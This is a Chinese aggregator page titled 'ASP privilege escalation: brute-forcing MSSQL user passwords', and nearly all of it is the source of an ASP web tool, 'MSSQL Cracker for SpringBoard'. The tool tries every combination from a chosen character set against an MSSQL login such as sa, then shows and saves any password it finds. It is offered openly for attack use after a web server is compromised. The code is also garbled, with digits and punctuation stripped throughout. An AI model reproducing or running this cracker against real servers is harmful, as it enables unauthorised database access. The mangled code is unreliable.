知识大全 ASP提权暴力破解MSSQL用户密码

Posted 2022-07-15 知

篇首语：树老根子深，人老骨头硬。本文由小常识网(cha138.com)小编为大家整理，主要介绍了知识大全 ASP提权暴力破解MSSQL用户密码相关的知识，希望对你有一定的参考价值。

ASP提权暴力破解MSSQL用户密码 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容，让我们赶快一起来看一下吧！

一个暴力破解MSSQL用户密码的ASP程序以下这个版本是可以运行之后关闭浏览器运行完毕将在当前目录生成结果文件的 CODE: <% ============ ASP Port Scanner by lake =================== × Version: For SpringBoard ========================================================== %> <style type= text/css > body td th color: # FF;font family: Verdana Arial Helvetica sans serif; body background color: #ffffff;font size: px; a:link color: # FF;text decoration: none; a:visited text decoration: none;color: # FF; a:hover text decoration: none;color: #FF ; a:active text decoration: none;color: #FF ; buttom color: #FFFFFF; border: px solid # B E; background color: # BC TextBox border: px solid # B E styleRed color: #FF </style> <title>MSSQL Cracker for SpringBoard</title> <% Dim Password() If Request Form( go ) <> ″ Then %> <div align= center >Wele to <a href= × target= _blank >×</a> </div> <form name= form ″ method= post action= onSubmit= form Submit disabled > ConnStr: <input name= conn type= text id= conn value= Provider=SQLOLEDB ;Data Source= ;User ID=sa;Password=PASS; size= ″> <br> Char: <input name= char type= text id= char value= ″ size= ″> <br> Length: <input name= len type= text id= len value= ″ size= ″> <br> Path: <input name= path type= text value= <%=Server MapPath( r txt )%> size= ″> <input name= CFile type= checkbox id= CFile value= ″ checked> Enablel<br> <input name= go type= hidden id= go value= ″> <br> <input name= Submit type= submit id= Submit value= Run > </form> <% Else timer = timer Server ScriptTimeout = ConnStr = Request Form( Conn ) Char = request Form( char ) LenChar = Len(Char) ReDim password(LenChar) For i = to LenChar password(i) = Mid(Char i ) Next length = CInt(request Form( len )) Call LAKE( ) response Write Done!<br>Process & tTime & s If request Form( CFile ) <> Then CreateResult( Done! & vbcrlf & tTime) End If Sub LAKE(str) If Len(str) >= length Then Exit Sub For j = to LenChar pass = str & password(j) If Len(pass) = length Then Call Crack(pass) Call LAKE(pass) Next End Sub Sub Crack(str) On Error Resume Next Set conn = Server CreateObject( nnection ) conn open Replace(ConnStr PASS str) If Err Then If Err Number <> Then response Write(Err Description & <BR> ) response End() End If Else response Write( I Get it ! Password is <font color=red> & str & </font><BR>Process & tTime & s ) If request Form( CFile ) <> Then CreateResult(str & vbcrlf & tTime) response End() End If End Sub Function tTime() timer = timer thetime=cstr(int(timer timer )) tTime = thetime End Function Sub CreateResult(t) Set fs = CreateObject( Scripting FileSystemObject ) Set outfile = fs CreateTextFile(request Form( path )) outfile WriteLine t Set fs = Nothing End Sub %> cha138/Article/program/MySQL/201311/29377